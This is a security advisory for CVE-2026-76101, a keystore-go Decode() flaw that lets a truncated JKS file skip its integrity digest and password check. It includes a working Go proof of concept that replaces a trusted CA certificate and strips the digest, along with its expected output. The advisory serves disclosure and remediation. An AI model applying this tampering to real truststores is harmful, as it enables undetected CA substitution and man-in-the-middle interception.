CVE-2026-76101: keystore-go Keystore Integrity And Password Verification Vulnerability

HIGH
Advisory Identifier: GHSA-j282-pjg5-j643
CVSS 7.1
CWE-252 CWE-354 CWE-347
Published
Advisory Summary

CVE-2026-76101 is a HIGH (CVSS 7.1) keystore integrity and password verification vulnerability (CWE-252: Unchecked Return Value) affecting keystore-go libraries in the Go ecosystem. The issue involves keystore integrity and password verification bypass via stripped trailing digest in decode(). Remediation is available by upgrading affected packages to version 3.0.0.

CVE-2026-76101 at a Glance

CVE Identifier CVE-2026-76101
GHSA Identifier GHSA-j282-pjg5-j643
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-252: Unchecked Return Value
Affected Product keystore-go
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-76101

To remediate this vulnerability, upgrade all affected keystore-go dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/pavel-v-chernykh/keystore-go fixed: Latest secure release
Upgrade github.com/pavel-v-chernykh/keystore-go to Latest secure release
github.com/pavel-v-chernykh/keystore-go/v3 fixed: 3.0.0
Upgrade github.com/pavel-v-chernykh/keystore-go/v3 to 3.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/pavel-v-chernykh/keystore-go

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-76101, inspect your project dependencies for keystore-go:

inspect dependencies for github.com/pavel-v-chernykh/keystore-go

Analyze the terminal output to locate any version of keystore-go in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-252: Unchecked Return Value, where the product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions. In keystore-go, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `keystore.Decode()` fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a `.jks` file, the digest read returns an empty slice and the byte-comparison loop never executes, so `Decode()` returns the parsed keystore with `err == nil`. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates. ### Details **Affected versions:** `github.com/pavel-v-chernykh/keystore-go` ≤ `v2.1.0+incompatible` (the final release on this module path). v3 and v4 releases are not impacted. In `decoder.go`, function `Decode`, lines 264-272: ```go computedDigest := ksd.md.Sum(nil) actualDigest, err := ksd.readBytes(uint32(ksd.md.Size())) for i := 0; i < len(actualDigest); i++ { if actualDigest[i] != computedDigest[i] { return nil, ErrInvalidDigest } } return keyStore, nil ``` Two defects combine here: 1. The `err` returned by `ksd.readBytes(20)` on line 265 is assigned but never inspected. 2. The comparison loop on line 266 is bounded by `len(actualDigest)` rather than `len(computedDigest)`. `readBytes` (`decoder.go` lines 75-94) reads the requested bytes via `io.ReadFull`; on EOF/short read it returns `(nil, ErrIo)`: ```go _, err := io.ReadFull(ksd.r, ksd.b[:blockSize]) if err != nil { return result, ErrIo } ``` When the trailing 20-byte digest is absent from the input stream, `actualDigest` is therefore `nil`, `len(actualDigest) == 0`, the `for` loop body never executes, and `Decode()` falls through to `return keyStore, nil`. The JKS format's only integrity guarantee is this trailing `SHA1(passwordBytes || "Mighty Aphrodite" || body)` digest. For truststores containing only `TrustedCertificateEntry` values it is also the *only* place the password is verified. Consequently: - An attacker who can modify a `.jks` truststore on disk — but does **not** know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid. - After the digest is stripped, `Decode()` accepts **any** password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied. The reference Java `JavaKeyStore` implementation reads the digest with `DataInputStream.readFully` and throws on short read; this Go port diverges from that behaviour. ### PoC ``` go mod init poc go get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible go run . ``` ```go package main import ( "bytes" "fmt" "os" keystore "github.com/pavel-v-chernykh/keystore-go" ) func main() { originalCert := []byte("ORIGINAL-TRUSTED-CA-CERTIFICATE") evilCert := []byte("EVIL-ATTACKER-CA-CERTIFICATE!!!") // same length ks := keystore.KeyStore{ "trusted-ca": &keystore.TrustedCertificateEntry{ Certificate: keystore.Certificate{ Type: "X509", Content: originalCert, }, }, } var buf bytes.Buffer if err := keystore.Encode(&buf, ks, []byte("correct-password")); err != nil { panic(err) } legit := buf.Bytes() fmt.Printf("[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\n", len(legit)) // Sanity: untampered keystore with WRONG password is rejected. _, err := keystore.Decode(bytes.NewReader(legit), []byte("wrong-password")) fmt.Printf("[*] Decode(legit, wrong-password) -> err=%v (expected ErrInvalidDigest)\n", err) // Attacker: tamper with the certificate, then strip the 20-byte digest. tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1) tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely // 1) Tampered keystore + CORRECT password: integrity check should fail. out, err := keystore.Decode(bytes.NewReader(tampered), []byte("correct-password")) if err == nil { entry := out["trusted-ca"].(*keystore.TrustedCertificateEntry) fmt.Printf("\n[BYPASS] Tampered keystore accepted with correct password.\n") fmt.Printf(" Trusted cert content: %q\n", entry.Certificate.Content) } else { fmt.Printf("[ok] tampered keystore rejected: %v\n", err) os.Exit(1) } // 2) Tampered keystore + WRONG password: should also fail. out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte("attacker-does-not-know")) if err2 == nil { entry := out2["trusted-ca"].(*keystore.TrustedCertificateEntry) fmt.Printf("[BYPASS] Tampered keystore accepted with WRONG password.\n") fmt.Printf(" Trusted cert content: %q\n", entry.Certificate.Content) } else { fmt.Printf("[ok] wrong password rejected: %v\n", err2) os.Exit(1) } } ``` Expected output: ``` [*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest) [*] Decode(legit, wrong-password) -> err=keystore: invalid digest (expected ErrInvalidDigest) [BYPASS] Tampered keystore accepted with correct password. Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!" [BYPASS] Tampered keystore accepted with WRONG password. Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!" ``` ### Impact Any application that uses `keystore.Decode()` to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the `.jks` file (local user, compromised deployment artefact, writable config volume, etc.) but does **not** know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required. This defect was fixed in commit `af93effd832cf1aef7794e69c31e1b668e17b851` (2019-09-16, "Update to go1.13"), which added an `if err != nil { return … }` guard after reading the trailing digest and replaced the length-of-actual loop with a full-length `bytes.Compare(actualDigest, computedDigest)`. That commit first shipped in tag **v3.0.0**. There is no fixed release on the bare `github.com/pavel-v-chernykh/keystore-go` module path — every release there (`v1.0.0` through `v2.1.0+incompatible`) predates the fix. The fixed code is available under the successor module paths: - `github.com/pavel-v-chernykh/keystore-go/v3` ≥ v3.0.0 - `github.com/pavel-v-chernykh/keystore-go/v4` ≥ v4.0.0 - `github.com/pavlo-v-chernykh/keystore-go/v4` ≥ v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings) Users of the legacy `v2` module path remain exposed and should migrate to `github.com/pavlo-v-chernykh/keystore-go/v4`.

CVE-2026-76101 Affected keystore-go Versions

2 component(s)
Fixed Versions:
3.0.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/pavel-v-chernykh/keystore-go
Go
≤ 2.1.0
github.com/pavel-v-chernykh/keystore-go/v3
Go
< 3.0.0
3.0.0

References

Frequently Asked Questions

What is CVE-2026-76101?
CVE-2026-76101 is a security vulnerability in keystore-go involving Keystore integrity and password verification bypass via stripped trailing digest in Decode() under CWE-252: Unchecked Return Value.
Which keystore-go versions are affected?
Affected versions include releases prior to 3.0.0 across affected packages: github.com/pavel-v-chernykh/keystore-go, github.com/pavel-v-chernykh/keystore-go/v3.
What version fixes CVE-2026-76101?
Upgrading to 3.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/pavel-v-chernykh/keystore-go affected?
Yes, github.com/pavel-v-chernykh/keystore-go is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
Is github.com/pavel-v-chernykh/keystore-go/v3 affected?
Yes, github.com/pavel-v-chernykh/keystore-go/v3 is affected in releases prior to 3.0.0. Upgrade your dependency to 3.0.0 or later.
What is the CVSS score of CVE-2026-76101?
CVE-2026-76101 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-76101?
CVE-2026-76101 is classified under CWE-252: Unchecked Return Value (The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.).
How can I check Go dependencies for CVE-2026-76101?
Run the dependency tree command: 'inspect dependencies for github.com/pavel-v-chernykh/keystore-go'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j282-pjg5-j643",
  "modified" : "2026-11-19T20:35:35Z",
  "published" : "2026-11-19T20:35:35Z",
  "aliases" : [ "CVE-2026-76101" ],
  "summary" : "keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode()",
  "details" : "### Summary\n`keystore.Decode()` fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a `.jks` file, the digest read returns an empty slice and the byte-comparison loop never executes, so `Decode()` returns the parsed keystore with `err == nil`. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.\n\n### Details\n**Affected versions:** `github.com/pavel-v-chernykh/keystore-go` ≤ `v2.1.0+incompatible` (the final release on this module path).  v3 and v4 releases are not impacted.\n\nIn `decoder.go`, function `Decode`, lines 264-272:\n\n```go\ncomputedDigest := ksd.md.Sum(nil)\nactualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))\nfor i := 0; i < len(actualDigest); i++ {\n    if actualDigest[i] != computedDigest[i] {\n        return nil, ErrInvalidDigest\n    }\n}\n\nreturn keyStore, nil\n```\n\nTwo defects combine here:\n\n1. The `err` returned by `ksd.readBytes(20)` on line 265 is assigned but never inspected.\n2. The comparison loop on line 266 is bounded by `len(actualDigest)` rather than `len(computedDigest)`.\n\n`readBytes` (`decoder.go` lines 75-94) reads the requested bytes via `io.ReadFull`; on EOF/short read it returns `(nil, ErrIo)`:\n\n```go\n_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])\nif err != nil {\n    return result, ErrIo\n}\n```\n\nWhen the trailing 20-byte digest is absent from the input stream, `actualDigest` is therefore `nil`, `len(actualDigest) == 0`, the `for` loop body never executes, and `Decode()` falls through to `return keyStore, nil`.\n\nThe JKS format's only integrity guarantee is this trailing `SHA1(passwordBytes || \"Mighty Aphrodite\" || body)` digest. For truststores containing only `TrustedCertificateEntry` values it is also the *only* place the password is verified. Consequently:\n\n- An attacker who can modify a `.jks` truststore on disk — but does **not** know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid.\n- After the digest is stripped, `Decode()` accepts **any** password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.\n\nThe reference Java `JavaKeyStore` implementation reads the digest with `DataInputStream.readFully` and throws on short read; this Go port diverges from that behaviour.\n\n### PoC\n```\ngo mod init poc\ngo get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible\ngo run .\n```\n\n```go\npackage main\n\nimport (\n        \"bytes\"\n        \"fmt\"\n        \"os\"\n\n        keystore \"github.com/pavel-v-chernykh/keystore-go\"\n)\n\nfunc main() {\n        originalCert := []byte(\"ORIGINAL-TRUSTED-CA-CERTIFICATE\")\n        evilCert := []byte(\"EVIL-ATTACKER-CA-CERTIFICATE!!!\") // same length\n\n        ks := keystore.KeyStore{\n                \"trusted-ca\": &keystore.TrustedCertificateEntry{\n                        Certificate: keystore.Certificate{\n                                Type:    \"X509\",\n                                Content: originalCert,\n                        },\n                },\n        }\n\n        var buf bytes.Buffer\n        if err := keystore.Encode(&buf, ks, []byte(\"correct-password\")); err != nil {\n                panic(err)\n        }\n        legit := buf.Bytes()\n        fmt.Printf(\"[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\\n\", len(legit))\n\n        // Sanity: untampered keystore with WRONG password is rejected.\n        _, err := keystore.Decode(bytes.NewReader(legit), []byte(\"wrong-password\"))\n        fmt.Printf(\"[*] Decode(legit, wrong-password) -> err=%v  (expected ErrInvalidDigest)\\n\", err)\n\n        // Attacker: tamper with the certificate, then strip the 20-byte digest.\n        tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)\n        tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely\n\n        // 1) Tampered keystore + CORRECT password: integrity check should fail.\n        out, err := keystore.Decode(bytes.NewReader(tampered), []byte(\"correct-password\"))\n        if err == nil {\n                entry := out[\"trusted-ca\"].(*keystore.TrustedCertificateEntry)\n                fmt.Printf(\"\\n[BYPASS] Tampered keystore accepted with correct password.\\n\")\n                fmt.Printf(\"         Trusted cert content: %q\\n\", entry.Certificate.Content)\n        } else {\n                fmt.Printf(\"[ok] tampered keystore rejected: %v\\n\", err)\n                os.Exit(1)\n        }\n\n        // 2) Tampered keystore + WRONG password: should also fail.\n        out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte(\"attacker-does-not-know\"))\n        if err2 == nil {\n                entry := out2[\"trusted-ca\"].(*keystore.TrustedCertificateEntry)\n                fmt.Printf(\"[BYPASS] Tampered keystore accepted with WRONG password.\\n\")\n                fmt.Printf(\"         Trusted cert content: %q\\n\", entry.Certificate.Content)\n        } else {\n                fmt.Printf(\"[ok] wrong password rejected: %v\\n\", err2)\n                os.Exit(1)\n        }\n}\n```\n\nExpected output:\n\n```\n[*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest)\n[*] Decode(legit, wrong-password) -> err=keystore: invalid digest  (expected ErrInvalidDigest)\n\n[BYPASS] Tampered keystore accepted with correct password.\n         Trusted cert content: \"EVIL-ATTACKER-CA-CERTIFICATE!!!\"\n[BYPASS] Tampered keystore accepted with WRONG password.\n         Trusted cert content: \"EVIL-ATTACKER-CA-CERTIFICATE!!!\"\n```\n\n### Impact\nAny application that uses `keystore.Decode()` to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the `.jks` file (local user, compromised deployment artefact, writable config volume, etc.) but does **not** know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required.\n\nThis defect was fixed in commit `af93effd832cf1aef7794e69c31e1b668e17b851` (2019-09-16, \"Update to go1.13\"), which added an `if err != nil { return … }` guard after reading the trailing digest and replaced the length-of-actual loop with a full-length `bytes.Compare(actualDigest, computedDigest)`. That commit first shipped in tag **v3.0.0**. There is no fixed release on the bare `github.com/pavel-v-chernykh/keystore-go` module path — every release there (`v1.0.0` through `v2.1.0+incompatible`) predates the fix. The fixed code is available under the successor module paths:\n\n- `github.com/pavel-v-chernykh/keystore-go/v3` ≥ v3.0.0\n- `github.com/pavel-v-chernykh/keystore-go/v4` ≥ v4.0.0\n- `github.com/pavlo-v-chernykh/keystore-go/v4` ≥ v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings)\n\nUsers of the legacy `v2` module path remain exposed and should migrate to `github.com/pavlo-v-chernykh/keystore-go/v4`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/pavel-v-chernykh/keystore-go"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.1.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/pavel-v-chernykh/keystore-go/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pavlo-v-chernykh/keystore-go/security/advisories/GHSA-j282-pjg5-j643"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-76101"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pavlo-v-chernykh/keystore-go/commit/af93effd832cf1aef7794e69c31e1b668e17b851"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pavlo-v-chernykh/keystore-go"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pavlo-v-chernykh/keystore-go/releases/tag/v3.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-252", "CWE-347", "CWE-354" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-19T20:35:35Z",
    "nvd_published_at" : "2026-11-18T22:17:24Z"
  }
}